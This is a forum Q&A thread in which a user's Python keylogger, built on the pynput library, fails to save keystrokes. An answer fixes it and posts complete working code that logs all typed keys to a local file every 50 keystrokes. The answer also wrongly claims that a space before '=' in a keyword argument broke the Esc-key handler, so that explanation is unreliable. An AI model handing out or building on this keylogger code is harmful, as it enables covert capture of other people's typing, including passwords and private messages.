Reputation: 11
so i tried making a keylogger,but it won´t save to the text file.
First time making a keylogger,already watched some tutorials but i can´t figure out why it doesn´t work.
this is my complete code
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed", format(key))
if count >= 999999999999999999999999999999999999999999:
count = 0
write_file(keys)
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release =on_release) as listener:
listener.join()
There are no errors showing in pycharm...
Upvotes: 1
Views: 1130
Reputation: 5059
As John Gordon pointed out in the comments, your keylogger isn't saving until you've collected more than 999999999999999999999999999999999999999999 keys. At three keys a second, nonstop, that'll take about a year ten million billion years to type, and would create a file almost exactly 1GB 10 thousand trillion trillion GB in size. According to a typing speed test, however, people type on average 190-200 characters (not words) per minute - why not save every 15 seconds or so, after 50 characters? You can change this to whatever you'd like.
I also noted that your program was not terminating properly - you left a stray space in your with Listener
invocation at on_release =on_release
, which prevented the keylogger from capturing the esc
key (and thereby also prevented the keylogger from being killed, except with ctrl-z
).
This modified code ran well on my machine, and captured all my input. Spooky!
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed", format(key))
#change this to whatever you want, knowing the average person types at
#190-200 characters per minute. Following that logic, this logger will save every
#15 seconds or so during normal typing.
if count >= 50:
count = 0
write_file()
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
#note that if you leave a space, like "on_release =on_release", the listener won't
#understand your on_release function and will ignore it
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Good luck!
Upvotes: 3